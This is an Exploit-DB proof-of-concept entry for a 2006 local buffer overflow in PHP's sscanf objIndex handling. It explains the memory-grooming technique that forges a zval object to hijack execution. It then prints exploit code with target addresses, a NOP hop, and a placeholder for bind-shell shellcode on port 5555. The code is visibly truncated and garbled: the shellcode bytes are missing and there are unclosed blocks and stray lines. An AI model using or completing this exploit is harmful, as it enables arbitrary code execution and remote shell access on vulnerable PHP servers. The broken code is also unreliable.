PHP <= 4.4.3 / 5.1.4 objIndex Local Buffer Overflow Exploit PoC

ID EDB-ID:2152
Type exploitdb
Reporter Heintz
Modified 2006-08-08T00:00:00


PHP <= 4.4.3 / 5.1.4 (objIndex) Local Buffer Overflow Exploit PoC. Webapps exploit for php platform



  Author: Heintz
  Date: 4-th august 2006
  Waraxe from
  All buds at

  ext/standard/scanf.c line ~887
  if (numVars) {
                    current = args[objIndex++];

  objIndex points past the end of array in other format cases too

  when php-s sscanf-s format argument contains argument swap
  and extra arguments are given like.
  sscanf('foo ','$1s',$bar) then it reads an pointer to pointer to
  zval structure past the end of argument array by one.

  This exploit first fills php internally cached memory with address of pointer
  to writable segment. Then by unsetting the variable it frees memory, but does not
  zero it, so this way we pass our own pointers to sscanf.

  Now sscanf allocated array has valid element one past the array,
  sscanf tries to call a function to destruct zval structure.
  if its 15-th byte isnt anything valid it will default to doing nothing
  and will continue without errors and returns;

  sscanf now sets the structure to be of type string and writes
  pointer to string  (it matched from our first argument to sscanf) and strings
  length to a structure-s value union. the strings address is written to first 4 bytes
  of structure.

  knowing this we construct our own binary zval structure of type object. + shellcode + space
  to match format. So now we have successfully called sscanf for the first time
  and we got something like ptrptr-&gt;ptr-&gt;zval-of-type-string in memory
  zval-of-type-string first 4 bytes point to our object we passed as argument.

  so now we fill the internal cached memory with just pointer to zval. and free it.
  when sscanf reads the pointer this time it now moves upwards one level but still
  dereferences twice. thus acts upon our zval structure of type object.
  when the destructor function now sees the zval is an object it will read
  a pointer from our structure to another structure which supposed to contain function
  pointers. it will call whatever the 2-cond element points to. all elements are 4 bytes long
  thus address pointed to by structures offset 4 is called.
  when we give it our ptr-to-zval - 4
  it will add 4 bytes to it and dereference it an call whatever is there. and
  there is address to our constructed zval object so we are executing code
  from the beginning of our structure. eip-hop-over will help us through
  unwanted bytes and we are on our way executing our shellcode.


// tested addresses from php5ts.dll (php 5.1.4) running win x64 pro
// $ptr_to_ptr_to_zval = "\x10\x43\x54\xCC";
// $ptr_to_zval = "\x10\x43\x54\xB0";
// $ptr_to_obj_handlers = "\x10\x43\x54\xAC"; // $ptr_to_zval-4

// addresses from php 5.1.4 cli, compiled with gcc version 3.3.6,
// kernel 2.6.14-hardened-r3
$ptr_to_ptr_to_zval = "\x08\x1A\x64\xC8";
$ptr_to_zval = "\x08\x1A\x60\x0C";
$ptr_to_obj_handlers = "\x08\x1A\x60\x08"; // $ptr_to_zval-4
// nop, nop, nop, mov eax,nex-4-bytes. to disarm 4 next bytes
$eip_hop_over = "\x90\x90\x90\xB8";

# linux_ia32_bind -  LPORT=5555 Size=108 Encoder=PexFnstenvSub
$shellcode =

{	// small endian conversion
	$t = $ptr_to_ptr_to_zval;
	$ptr_to_ptr_to_zval = $t{3}.$t{2}.$t{1}.$t{0};

	$t = $ptr_to_zval;
	$ptr_to_zval = $t{3}.$t{2}.$t{1}.$t{0};

	$t = $ptr_to_obj_handlers;
	$ptr_to_obj_handlers = $t{3}.$t{2}.$t{1}.$t{0};

$object_zval = $eip_hop_over.$ptr_to_obj_handlers.$eip_hop_over.

$str = str_repeat($ptr_to_ptr_to_zval,20);



"a ",


# [2006-08-08]